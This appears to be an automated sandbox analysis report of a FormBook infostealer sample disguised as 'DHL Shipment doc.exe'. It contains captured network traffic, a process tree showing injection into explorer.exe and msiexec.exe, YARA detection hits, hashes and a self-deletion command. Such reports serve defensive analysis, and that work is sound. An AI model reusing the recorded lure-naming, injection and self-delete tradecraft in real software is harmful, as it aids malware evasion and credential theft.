Feb 8, 2022 11:23:35.478081942 CET	9709	IN	Data Raw: 6c 6f 72 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 Data Ascii: lor--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color
Feb 8, 2022 11:23:35.478106976 CET	9710	IN	Data Raw: 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 63 79 61 6e 2d 62 6c 75 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f Data Ascii: ant;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-ba
Feb 8, 2022 11:23:35.478131056 CET	9712	IN	Data Raw: 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 Data Ascii: olor{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(-
Feb 8, 2022 11:23:35.478153944 CET	9713	IN	Data Raw: 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 64 75 73 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 6f 63 65 61 6e 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 Data Ascii: preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !i

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: DHL Shipment doc.exePID: 5032, Parent PID: 5268

General

Target ID:	0
Start time:	11:21:34
Start date:	08/02/2022
Path:	C:\Users\user\Desktop\DHL Shipment doc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DHL Shipment doc.exe"
Imagebase:	0xee0000
File size:	550912 bytes
MD5 hash:	4F0D2852D2AAD43EDDF9416661933701
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.692850983.0000000003442000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.693081041.0000000004419000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.693081041.0000000004419000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.693081041.0000000004419000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.692831821.0000000003411000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: DHL Shipment doc.exePID: 5820, Parent PID: 5032

General

Target ID:	1
Start time:	11:21:40
Start date:	08/02/2022
Path:	C:\Users\user\Desktop\DHL Shipment doc.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\DHL Shipment doc.exe
Imagebase:	0x3f0000
File size:	550912 bytes
MD5 hash:	4F0D2852D2AAD43EDDF9416661933701
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: DHL Shipment doc.exePID: 6640, Parent PID: 5032

General

Target ID:	3
Start time:	11:21:42
Start date:	08/02/2022
Path:	C:\Users\user\Desktop\DHL Shipment doc.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\DHL Shipment doc.exe
Imagebase:	0x930000
File size:	550912 bytes
MD5 hash:	4F0D2852D2AAD43EDDF9416661933701
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.804375407.00000000016D0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.804375407.00000000016D0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.804375407.00000000016D0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000000.689082555.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000000.689082555.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000000.689082555.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.797281686.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.797281686.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.797281686.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000000.688266335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000000.688266335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000000.688266335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.799667944.0000000001360000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.799667944.0000000001360000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.799667944.0000000001360000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: explorer.exePID: 3424, Parent PID: 6640

General

Target ID:	6
Start time:	11:21:46
Start date:	08/02/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000000.738326469.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000000.738326469.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000000.738326469.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000000.720424753.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000000.720424753.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000000.720424753.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Chronological Activities

Analysis Process: autoconv.exePID: 7096, Parent PID: 6640

General

Target ID:	10
Start time:	11:22:30
Start date:	08/02/2022
Path:	C:\Windows\SysWOW64\autoconv.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\SysWOW64\autoconv.exe
Imagebase:	0x300000
File size:	851968 bytes
MD5 hash:	4506BE56787EDCD771A351C10B5AE3B7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: msiexec.exePID: 7060, Parent PID: 6640

General

Target ID:	11
Start time:	11:22:31
Start date:	08/02/2022
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\msiexec.exe
Imagebase:	0xec0000
File size:	59904 bytes
MD5 hash:	12C17B5A5C2A7B97342C362CA467E9A2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000B.00000002.941125718.0000000004B60000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000B.00000002.941125718.0000000004B60000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000B.00000002.941125718.0000000004B60000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000B.00000002.940941423.0000000004B30000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000B.00000002.940941423.0000000004B30000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000B.00000002.940941423.0000000004B30000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000B.00000002.938025961.0000000000E90000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000B.00000002.938025961.0000000000E90000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000B.00000002.938025961.0000000000E90000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Chronological Activities

Analysis Process: cmd.exePID: 5620, Parent PID: 7060

General

Target ID:	15
Start time:	11:22:36
Start date:	08/02/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del "C:\Users\user\Desktop\DHL Shipment doc.exe"
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exePID: 2340, Parent PID: 5620

General

Target ID:	16
Start time:	11:22:37
Start date:	08/02/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high